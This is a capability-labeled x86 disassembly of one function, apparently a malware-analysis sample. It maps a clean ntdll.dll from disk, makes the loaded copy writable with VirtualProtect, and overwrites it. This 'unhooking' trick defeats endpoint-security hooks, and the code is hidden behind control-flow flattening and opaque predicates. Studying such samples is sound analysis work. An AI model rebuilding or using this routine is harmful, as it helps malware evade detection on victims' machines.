Function at 0x40e2f0
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x9c
mov eax, dword [0x47c080]
xor eax, ebp
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x18]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041e660
lea eax, str.ntdll.dll
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
lea eax, [ebp - 0x18]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
sub esp, 0x10
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x60], eax
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x84], 0x53cf551d
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x88], eax
sub eax, 0x855e7068
je 0x40ec04
jmp 0x40e413
mov eax, dword [ebp - 0x88]
sub eax, 0x8a8561cf
je 0x40e9d2
jmp 0x40e429
mov eax, dword [ebp - 0x88]
sub eax, 0x9189a2e5
je 0x40eff8
jmp 0x40e43f
mov eax, dword [ebp - 0x88]
sub eax, 0x9e2f484a
je 0x40ed23
jmp 0x40e455
mov eax, dword [ebp - 0x88]
sub eax, 0xa386de77
je 0x40ebf5
jmp 0x40e46b
mov eax, dword [ebp - 0x88]
sub eax, 0xa66f180f
je 0x40ed32
jmp 0x40e481
mov eax, dword [ebp - 0x88]
sub eax, 0xa9270eee
je 0x40ecd2
jmp 0x40e497
mov eax, dword [ebp - 0x88]
sub eax, 0xac5a781f
je 0x40e9ea
jmp 0x40e4ad
mov eax, dword [ebp - 0x88]
sub eax, 0xb1a51a66
je 0x40efe1
jmp 0x40e4c3
mov eax, dword [ebp - 0x88]
sub eax, 0xc478742d
je 0x40e7ab
jmp 0x40e4d9
mov eax, dword [ebp - 0x88]
sub eax, 0xc923eebf
je 0x40e888
jmp 0x40e4ef
mov eax, dword [ebp - 0x88]
sub eax, 0xcfa45b58
je 0x40e987
jmp 0x40e505
mov eax, dword [ebp - 0x88]
sub eax, 0xd46b2c00
je 0x40e735
jmp 0x40e51b
mov eax, dword [ebp - 0x88]
sub eax, 0xd4e2a1bc
je 0x40e909
jmp 0x40e531
mov eax, dword [ebp - 0x88]
sub eax, 0xdb8f61de
je 0x40eec8
jmp 0x40e547
mov eax, dword [ebp - 0x88]
sub eax, 0xe0ad0e88
je 0x40eb09
jmp 0x40e55d
mov eax, dword [ebp - 0x88]
sub eax, 0xe1a4f4e1
je 0x40ee1f
jmp 0x40e573
mov eax, dword [ebp - 0x88]
sub eax, 0xf71c80fa
je 0x40e8a7
jmp 0x40e589
mov eax, dword [ebp - 0x88]
sub eax, 0xf7c0b188
je 0x40ec41
jmp 0x40e59f
mov eax, dword [ebp - 0x88]
sub eax, 0xfe7635c8
je 0x40ee10
jmp 0x40e5b5
mov eax, dword [ebp - 0x88]
sub eax, 0xc274d9
je 0x40e8c0
jmp 0x40e5cb
mov eax, dword [ebp - 0x88]
sub eax, 0x277986d
je 0x40edb0
jmp 0x40e5e1
mov eax, dword [ebp - 0x88]
sub eax, 0xba069a4
je 0x40f016
jmp 0x40e5f7
mov eax, dword [ebp - 0x88]
sub eax, 0xe2376fe
je 0x40ec2a
jmp 0x40e60d
mov eax, dword [ebp - 0x88]
sub eax, 0x108c8f67
je 0x40eab8
jmp 0x40e623
mov eax, dword [ebp - 0x88]
sub eax, 0x174f271b
je 0x40ec64
jmp 0x40e639
mov eax, dword [ebp - 0x88]
sub eax, 0x192f2f2f
je 0x40ef43
jmp 0x40e64f
mov eax, dword [ebp - 0x88]
sub eax, 0x1d7fa1bd
je 0x40e879
jmp 0x40e665
mov eax, dword [ebp - 0x88]
sub eax, 0x2110a756
je 0x40eedc
jmp 0x40e67b
mov eax, dword [ebp - 0x88]
sub eax, 0x25d3ab90
je 0x40e9a5
jmp 0x40e691
mov eax, dword [ebp - 0x88]
sub eax, 0x384d5ef7
je 0x40ed5f
jmp 0x40e6a7
mov eax, dword [ebp - 0x88]
sub eax, 0x3948d120
je 0x40ec1b
jmp 0x40e6bd
mov eax, dword [ebp - 0x88]
sub eax, 0x468f142e
je 0x40ee68
jmp 0x40e6d3
mov eax, dword [ebp - 0x88]
sub eax, 0x53cf551d
je 0x40e71a
jmp 0x40e6e9
mov eax, dword [ebp - 0x88]
sub eax, 0x5c9de6cc
je 0x40ea3f
jmp 0x40e6ff
mov eax, dword [ebp - 0x88]
sub eax, 0x7a022bbe
je 0x40ef58
jmp 0x40e715
jmp 0x40f02f
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x84], 0xd46b2c00
jmp 0x40f02f
mov ecx, dword [0x47d55c]
mov eax, dword [0x47d558]
mov edx, ecx
add edx, 0x31ff3406
sub edx, 1
sub edx, 0x31ff3406
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2110a756
mov ecx, 0xc478742d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov eax, dword [ebp - 0x50]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx + 0x3c]
add eax, 0x3c1dfbe2
add eax, ecx
sub eax, 0x3c1dfbe2
mov dword [ebp - 0x74], eax
mov word [ebp - 0x76], 0
mov ecx, dword [0x47d55c]
mov eax, dword [0x47d558]
mov edx, ecx
sub edx, 0x637db694
sub edx, 1
add edx, 0x637db694
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2110a756
mov ecx, 0x1d7fa1bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov dword [ebp - 0x84], 0xc923eebf
jmp 0x40f02f
movzx eax, word [ebp - 0x76]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x74]
add eax, 4
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x84], 0xf71c80fa
jmp 0x40f02f
mov eax, dword [ebp - 0x48]
movzx eax, word [eax + 2]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x84], 0xc274d9
jmp 0x40f02f
mov eax, dword [0x47d55c]
mov ecx, dword [0x47d558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x192f2f2f
mov ecx, 0xd4e2a1bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x44]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x3d], al
mov ecx, dword [0x47d55c]
mov eax, dword [0x47d558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x192f2f2f
mov ecx, 0xcfa45b58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov dl, byte [ebp - 0x3d]
mov eax, 0xa66f180f
mov ecx, 0x25d3ab90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov eax, dword [ebp - 0x74]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x74]
add eax, 4
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x84], 0x8a8561cf
jmp 0x40f02f
mov eax, dword [ebp - 0x38]
add eax, 0x10
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x84], 0xac5a781f
jmp 0x40f02f
mov eax, dword [ebp - 0x34]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x3c]
sub eax, 0x976168e
add eax, ecx
add eax, 0x976168e
movzx ecx, word [ebp - 0x76]
imul edx, ecx, 0x28
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42dd3d
call fcn.00421f60
mov edx, eax
mov eax, 0x5c9de6cc
mov ecx, 0x3948d120
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x7c]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub edx, eax
lea eax, [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0xc]
add eax, 0xf6f6e95a
add eax, ecx
sub eax, 0xf6f6e95a
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x84], 0x108c8f67
jmp 0x40f02f
mov eax, dword [0x47d55c]
mov ecx, dword [0x47d558]
mov edx, eax
add edx, 0x54229ba7
sub edx, 1
sub edx, 0x54229ba7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a022bbe
mov ecx, 0xe0ad0e88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x2c]
add ecx, 0x5e6d11a2
add ecx, eax
sub ecx, 0x5e6d11a2
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041e7c0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0xc]
add esi, 0x494ff59a
add esi, eax
sub esi, 0x494ff59a
lea eax, [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x21], al
mov ecx, dword [0x47d55c]
mov eax, dword [0x47d558]
mov edx, ecx
sub edx, 0x21212d97
sub edx, 1
add edx, 0x21212d97
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7a022bbe
mov ecx, 0xa386de77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov dword [ebp - 0x84], 0x855e7068
jmp 0x40f02f
mov al, byte [ebp - 0x21]
and al, 1
mov byte [ebp - 0x7d], al
mov dword [ebp - 0x84], 0x3948d120
jmp 0x40f02f
mov dword [ebp - 0x84], 0xe2376fe
jmp 0x40f02f
mov ax, word [ebp - 0x76]
mov word [ebp - 0x20], ax
mov dword [ebp - 0x84], 0xf7c0b188
jmp 0x40f02f
mov ax, word [ebp - 0x20]
add ax, 0x1551
add ax, 1
sub ax, 0x1551
mov word [ebp - 0x1e], ax
mov dword [ebp - 0x84], 0x174f271b
jmp 0x40f02f
mov ecx, dword [0x47d55c]
mov eax, dword [0x47d558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb1a51a66
mov ecx, 0xa9270eee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov ax, word [ebp - 0x1e]
mov word [ebp - 0x76], ax
mov eax, dword [0x47d55c]
mov ecx, dword [0x47d558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb1a51a66
mov ecx, 0x9e2f484a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov dword [ebp - 0x84], 0xc923eebf
jmp 0x40f02f
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x84], 0x384d5ef7
jmp 0x40f02f
mov eax, dword [0x47d55c]
mov ecx, dword [0x47d558]
mov edx, eax
add edx, 0xb7ca044d
sub edx, 1
sub edx, 0xb7ca044d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9189a2e5
mov ecx, 0x277986d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [0x47d55c]
mov ecx, dword [0x47d558]
mov edx, eax
add edx, 0xfd657670
sub edx, 1
sub edx, 0xfd657670
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9189a2e5
mov ecx, 0xfe7635c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov dword [ebp - 0x84], 0xe1a4f4e1
jmp 0x40f02f
mov eax, dword [0x47d55c]
mov ecx, dword [0x47d558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xba069a4
mov ecx, 0x468f142e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov eax, dword [0x47d55c]
mov ecx, dword [0x47d558]
mov edx, eax
sub edx, 0x84bbb161
sub edx, 1
add edx, 0x84bbb161
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xba069a4
mov ecx, 0xdb8f61de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40f02f
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041d950
add esp, 0x9c
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x50]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx + 0x3c]
add eax, 0x83d620f
add eax, ecx
sub eax, 0x83d620f
mov dword [ebp - 0x74], eax
mov word [ebp - 0x76], 0
mov dword [ebp - 0x84], 0xc478742d
jmp 0x40f02f
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x84], 0xd4e2a1bc
jmp 0x40f02f
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
add ecx, 0x349af72c
add ecx, eax
sub ecx, 0x349af72c
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041e7c0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0xc]
sub esi, 0xb8a95c3f
add esi, eax
add esi, 0xb8a95c3f
lea eax, [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov dword [ebp - 0x84], 0xe0ad0e88
jmp 0x40f02f
mov ax, word [ebp - 0x1e]
mov word [ebp - 0x76], ax
mov dword [ebp - 0x84], 0xa9270eee
jmp 0x40f02f
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x84], 0x277986d
jmp 0x40f02f
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov dword [ebp - 0x84], 0x468f142e
jmp 0x40e3f7